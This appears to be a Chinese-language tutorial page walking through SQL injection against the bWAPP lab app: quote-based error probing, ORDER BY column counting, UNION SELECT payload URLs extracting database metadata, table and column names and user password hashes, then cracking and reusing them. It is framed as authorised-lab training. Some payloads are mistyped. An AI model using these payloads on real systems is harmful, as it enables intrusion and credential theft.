news 2026/6/7 9:10:42

渗透入门之SQL 注入(1)

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
渗透入门之SQL 注入(1)

重要声明

SQL注入实验仅可在自己搭建的合法测试环境(如本地虚拟机、授权的测试服务器)中进行,严禁对任何非授权系统实施测试,否则可能违反《网络安全法》等法律法规,需承担相应法律责任。

一、实验环境

  • 操作系统:Linux、Windows10,;
  • 平台:天枢一体化虚拟仿真平台

1、bwapp环境准备

  • 环境部署:平台已完成部署
  • 环境访问:浏览器输入http://192.168.0.100,点击“Login”进入登录页,默认账号密码:bee/bug
  • 安全级别设置:登录后点击顶部“Security Level”,选择“Low”(关闭基础防护,便于注入测试),点击“Apply”保存;
  • 场景定位:点击顶部“Buggy Apps”,在下拉菜单中根据场景类型选择对应模块,即可进入目标测试页面。

(1) 使用前需要配置键盘

(2)IP配置(用户名bee,密码bug)

sudo ip addr add 192.168.1.100/24 dev 网卡名

二、SQL注入常见场景分类及核心特征(bwapp环境适配)

SQL注入按请求方式、应用场景可分为6类,核心原理均为“用户输入未过滤直接拼接SQL”,但注入点位置、参数传递方式存在差异。

1、SQL Injection (GET/Search):GET请求搜索类注入

bwapp场景定位Buggy Apps > SQL Injection > "SQL Injection - Search (GET)"实验步骤正常业务验证:进入测试页面,在搜索框输入Man,点击“Search”,页面显示包含“Man”的用户信息(正常响应);

1步骤1:判断注入点类型及存在性

在搜索框输入man'(添加单引号),点击“Search”,页面显示MySQL语法错误(如You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''bee''' at line 1),说明存在字符型注入;

注释符验证:输入man' --(注意--后加空格),点击“Search”,页面无语法错误且正常显示结果,确认注入点有效;

2步骤2:判断查询的字段数:
① 判断列数:输入Man'order by1---,点击“Search”,页面正常显示,依次输入,至此说明查询结果为7列;


② 利用MySQL自带的information_schema库,提取当前数据库名、版本、用户等信息:

目标信息

构造URL示例

当前数据库名

http://192.168.0.100/bwapp/sqli_1.php?title=man'unionselect1,database(),34,5,6,7---

MySQL版本

http://192.168.0.100/bwapp/sqli_1.php?title=man'unionselect1,version(),34,5,6,7---

数据库用户

http://192.168.0.100/bwapp/sqli_1.php?title=man'unionselect1,user(),34,5,6,7---

数据存储目录

http://192.168.0.100/bwapp/sqli_1.php?title=man'unionselect1,@@datadir,3,4,5,6,7---

示例结果:

当前数据库名是bwapp

MySQL版本为5.0.96

用户为root@localhost

数据存储目录

3步骤3:获取数据库中的表名

提取bwapp数据库下的所有表名(重点关注users表,存储账号密码):

http://192.168.0.100/bwapp/sqli_1.php?title=man' UNION SELECT 1,table_name,3,4,5,6,7 FROM information_schema.tables WHERE table_schema=database()-- -

页面会列出表名:usersmoviesblogsguestbook等(核心目标:users)。

4步骤4:获取users表的列名

提取users表的所有列名(如账号、密码、邮箱等):

http://192.168.0.100/bwapp/sqli_1.php?title=man' UNION SELECT 1,column_name,3,4,5,6,7 FROM information_schema.columns WHERE table_schema=database() AND table_name='users' -- -

页面会显示列名:idusernamepasswordemailadmin等。

5步骤5:提取users表的账号密码数据

最终目标:获取用户凭证,构造URL如下:因本次用户名在login列

http://192.168.0.100/bwapp/sqli_1.php?title=man' UNION SELECT 1,login,password FROM users -- -

页面会显示:

解密MD5值,beebug(与BWAPP默认密码一致)。

6步骤6:验证结果

用提取到的beebug登录BWAPP,验证账号密码的有效性。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/6 8:34:51

20、Windows应用开发中的数据共享与设置页面实现

Windows应用开发中的数据共享与设置页面实现 在Windows应用开发中,数据共享和设置页面是提升用户体验的重要功能。下面将详细介绍如何在应用中实现数据共享以及创建设置页面。 数据共享功能实现 1. 初始化共享源合约 要实现数据共享功能,首先需要在 todolist.js 文件的…

作者头像 李华
网站建设 2026/5/31 16:48:06

模拟信号采样保持电路从零实现方案

模拟信号采样保持电路从零实现:原理、设计与实战调优在嵌入式系统和精密测量领域,我们常听到一句话:“ADC的精度不仅取决于芯片本身,更受限于前端模拟链路的质量。” 这句话背后,藏着一个看似低调却至关重要的角色——…

作者头像 李华
网站建设 2026/5/11 12:30:28

语音合成在AR/VR中的沉浸式体验:GPT-SoVITS的空间音频支持

语音合成在AR/VR中的沉浸式体验:GPT-SoVITS的空间音频支持在虚拟世界越来越逼近现实的今天,视觉之外的感官正在成为决定“临场感”的关键。当你戴上VR头显,看到一个角色朝你走来,如果他的声音不是从前方传来,而是像广播…

作者头像 李华
网站建设 2026/6/6 17:46:33

Go爬虫:一文掌握分布式爬虫框架Pholcus

更多内容请见: 《100天Go语言从入门到精通系列》 - 专栏介绍和目录 文章目录 一、Pholcus概述 1.1 Pholcus 是什么? 1.2 核心优势 1.3 核心架构设计 1.4 Pholcus的工作流程 1.5 和其他爬虫框架对比(Pholcus vs Colly vs Scrapy) 二、Pholcus的使用 2.1 安装 Pholcus 2.2 第…

作者头像 李华
网站建设 2026/6/5 11:45:21

11、编程中的实用主义:错误处理、资源平衡与断言运用

编程中的实用主义:错误处理、资源平衡与断言运用 在编程的世界里,我们时常会遇到各种挑战和潜在的问题。从处理错误到平衡资源,再到运用断言确保程序的正确性,每一个环节都至关重要。 练习题与问题思考 首先,我们来看一些练习题。 练习题14 设计一个厨房搅拌机的接口…

作者头像 李华